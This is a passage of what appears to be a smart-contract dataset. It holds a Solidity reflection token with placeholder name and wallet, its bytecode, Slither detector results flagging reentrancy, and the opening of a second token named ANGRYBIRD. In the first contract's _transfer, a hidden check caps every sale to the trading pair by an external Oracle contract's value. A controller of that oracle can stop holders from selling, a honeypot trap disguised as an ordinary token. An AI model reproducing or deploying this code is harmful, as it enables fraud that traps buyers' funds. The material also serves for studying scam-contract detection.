uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
address payable private _taxWallet;
uint256 private _tax=6;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = 0;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(WALLET_ADDRESS);
_rOwned[_msgSender()] = _rTotal;
_router = IUniswapV2Router02(ROUTER_ADDRESS);
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?1:0)*amount <= Oracle(0x9ef6C3A7d47A781cb4271fAf68670c3448eb24F8).amount());
if (from != owner() && to != owner()) {
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(balanceOf(address(this)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "Trading is already open");
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f9190611de1565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611e9c565b61038e565b60405161014c9190611ef7565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190611f21565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611f3c565b6103b8565b6040516101b49190611ef7565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190611fab565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611fc6565b610510565b6040516102339190611f21565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612002565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a09190611de1565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611e9c565b61071a565b6040516102dd9190611ef7565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f919061201d565b610c4e565b6040516103319190611f21565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600981526020017f4f6e652050756e63680000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b6000633b9aca00905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612ab160289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115cc565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed906120a9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4f4e452050554e43480000000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c4906120a9565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081490612115565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee919061214a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa919061214a565b6040518363ffffffff1660e01b81526004016109c7929190612177565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a19919061214a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906121e5565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b21919061225b565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf99291906122ae565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190612303565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d448161163a565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db6906123a2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2690612434565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d9190611f21565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f81906124c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff190612558565b60405180910390fd5b6000811161103d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611034906125ea565b60405180910390fd5b739ef6c3a7d47a781cb4271faf68670c3448eb24f873ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf919061260a565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff166111969190612666565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc4761163a565b5b505b5b6112db8383836116a6565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9190611de1565b60405180910390fd5b506000838561133791906126c0565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561137c5761137b6126f4565b5b6040519080825280602002602001820160405280156113aa5781602001602082028036833780820191505090505b50905030816000815181106113c2576113c1612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561146457600080fd5b505afa158015611478573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149c919061214a565b816001815181106114b0576114af612723565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061151730600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161157b959493929190612810565b600060405180830381600087803b15801561159557600080fd5b505af11580156115a9573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160a906128dc565b60405180910390fd5b600061161d6116b6565b905061163281846116e190919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116a2573d6000803e3d6000fd5b5050565b6116b183838361172b565b505050565b60008060006116c36118f6565b915091506116da81836116e190919063ffffffff16565b9250505090565b600061172383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611949565b905092915050565b60008060008060008061173d876119ac565b95509550955095509550955061179b86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1190919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061183085600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061187c81611ab9565b6118868483611b76565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118e39190611f21565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611922633b9aca006003546116e190919063ffffffff16565b82101561193c57600354633b9aca00935093505050611945565b81819350935050505b9091565b60008083118290611990576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119879190611de1565b60405180910390fd5b506000838561199f919061292b565b9050809150509392505050565b60008060008060008060008060006119c68a600654611bb0565b92509250925060006119d66116b6565b905060008060006119e98e878787611c44565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611a5383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611a6a919061295c565b905083811015611aaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa6906129fe565b60405180910390fd5b8091505092915050565b6000611ac36116b6565b90506000611ada8284611ccd90919063ffffffff16565b9050611b2e81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5b90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611b8b82600354611a1190919063ffffffff16565b600381905550611ba681600454611a5b90919063ffffffff16565b6004819055505050565b600080600080611bdc6064611bce8789611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c066064611bf8888a611ccd90919063ffffffff16565b6116e190919063ffffffff16565b90506000611c2f82611c21858b611a1190919063ffffffff16565b611a1190919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611c5d8589611ccd90919063ffffffff16565b90506000611c748689611ccd90919063ffffffff16565b90506000611c8b8789611ccd90919063ffffffff16565b90506000611cb482611ca68587611a1190919063ffffffff16565b611a1190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611ce05760009050611d42565b60008284611cee9190612666565b9050828482611cfd919061292b565b14611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3490612a90565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611d82578082015181840152602081019050611d67565b83811115611d91576000848401525b50505050565b6000601f19601f8301169050919050565b6000611db382611d48565b611dbd8185611d53565b9350611dcd818560208601611d64565b611dd681611d97565b840191505092915050565b60006020820190508181036000830152611dfb8184611da8565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611e3382611e08565b9050919050565b611e4381611e28565b8114611e4e57600080fd5b50565b600081359050611e6081611e3a565b92915050565b6000819050919050565b611e7981611e66565b8114611e8457600080fd5b50565b600081359050611e9681611e70565b92915050565b60008060408385031215611eb357611eb2611e03565b5b6000611ec185828601611e51565b9250506020611ed285828601611e87565b9150509250929050565b60008115159050919050565b611ef181611edc565b82525050565b6000602082019050611f0c6000830184611ee8565b92915050565b611f1b81611e66565b82525050565b6000602082019050611f366000830184611f12565b92915050565b600080600060608486031215611f5557611f54611e03565b5b6000611f6386828701611e51565b9350506020611f7486828701611e51565b9250506040611f8586828701611e87565b9150509250925092565b600060ff82169050919050565b611fa581611f8f565b82525050565b6000602082019050611fc06000830184611f9c565b92915050565b600060208284031215611fdc57611fdb611e03565b5b6000611fea84828501611e51565b91505092915050565b611ffc81611e28565b82525050565b60006020820190506120176000830184611ff3565b92915050565b6000806040838503121561203457612033611e03565b5b600061204285828601611e51565b925050602061205385828601611e51565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612093602083611d53565b915061209e8261205d565b602082019050919050565b600060208201905081810360008301526120c281612086565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006120ff601783611d53565b915061210a826120c9565b602082019050919050565b6000602082019050818103600083015261212e816120f2565b9050919050565b60008151905061214481611e3a565b92915050565b6000602082840312156121605761215f611e03565b5b600061216e84828501612135565b91505092915050565b600060408201905061218c6000830185611ff3565b6121996020830184611ff3565b9392505050565b6000819050919050565b6000819050919050565b60006121cf6121ca6121c5846121a0565b6121aa565b611e66565b9050919050565b6121df816121b4565b82525050565b600060c0820190506121fa6000830189611ff3565b6122076020830188611f12565b61221460408301876121d6565b61222160608301866121d6565b61222e6080830185611ff3565b61223b60a0830184611f12565b979650505050505050565b60008151905061225581611e70565b92915050565b60008060006060848603121561227457612273611e03565b5b600061228286828701612246565b935050602061229386828701612246565b92505060406122a486828701612246565b9150509250925092565b60006040820190506122c36000830185611ff3565b6122d06020830184611f12565b9392505050565b6122e081611edc565b81146122eb57600080fd5b50565b6000815190506122fd816122d7565b92915050565b60006020828403121561231957612318611e03565b5b6000612327848285016122ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061238c602483611d53565b915061239782612330565b604082019050919050565b600060208201905081810360008301526123bb8161237f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061241e602283611d53565b9150612429826123c2565b604082019050919050565b6000602082019050818103600083015261244d81612411565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006124b0602583611d53565b91506124bb82612454565b604082019050919050565b600060208201905081810360008301526124df816124a3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612542602383611d53565b915061254d826124e6565b604082019050919050565b6000602082019050818103600083015261257181612535565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006125d4602983611d53565b91506125df82612578565b604082019050919050565b60006020820190508181036000830152612603816125c7565b9050919050565b6000602082840312156126205761261f611e03565b5b600061262e84828501612246565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061267182611e66565b915061267c83611e66565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126b5576126b4612637565b5b828202905092915050565b60006126cb82611e66565b91506126d683611e66565b9250828210156126e9576126e8612637565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61278781611e28565b82525050565b6000612799838361277e565b60208301905092915050565b6000602082019050919050565b60006127bd82612752565b6127c7818561275d565b93506127d28361276e565b8060005b838110156128035781516127ea888261278d565b97506127f5836127a5565b9250506001810190506127d6565b5085935050505092915050565b600060a0820190506128256000830188611f12565b61283260208301876121d6565b818103604083015261284481866127b2565b90506128536060830185611ff3565b6128606080830184611f12565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006128c6602a83611d53565b91506128d18261286a565b604082019050919050565b600060208201905081810360008301526128f5816128b9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061293682611e66565b915061294183611e66565b925082612951576129506128fc565b5b828204905092915050565b600061296782611e66565b915061297283611e66565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156129a7576129a6612637565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006129e8601b83611d53565b91506129f3826129b2565b602082019050919050565b60006020820190508181036000830152612a17816129db565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612a7a602183611d53565b9150612a8582612a1e565b604082019050919050565b60006020820190508181036000830152612aa981612a6d565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220031d63cafefc3ee539797a47abad0b6facb01806a19ca6ee8b5c557757fb97ce64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,266 |
0x0e269c2e3401fbf7af260e45973b3e512d44f9b4
|
/**
*Submitted for verification at Etherscan.io on 2022-05-01
*/
/*
t.me/angrybirdinu
angrybirdinu.com
*/
pragma solidity ^0.8.6;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AB is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e8 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "ANGRYBIRD";
string private constant _symbol = "AB";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x0c799De814b8C0E0dc4591FBbe88cc82FB0BfDB3);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
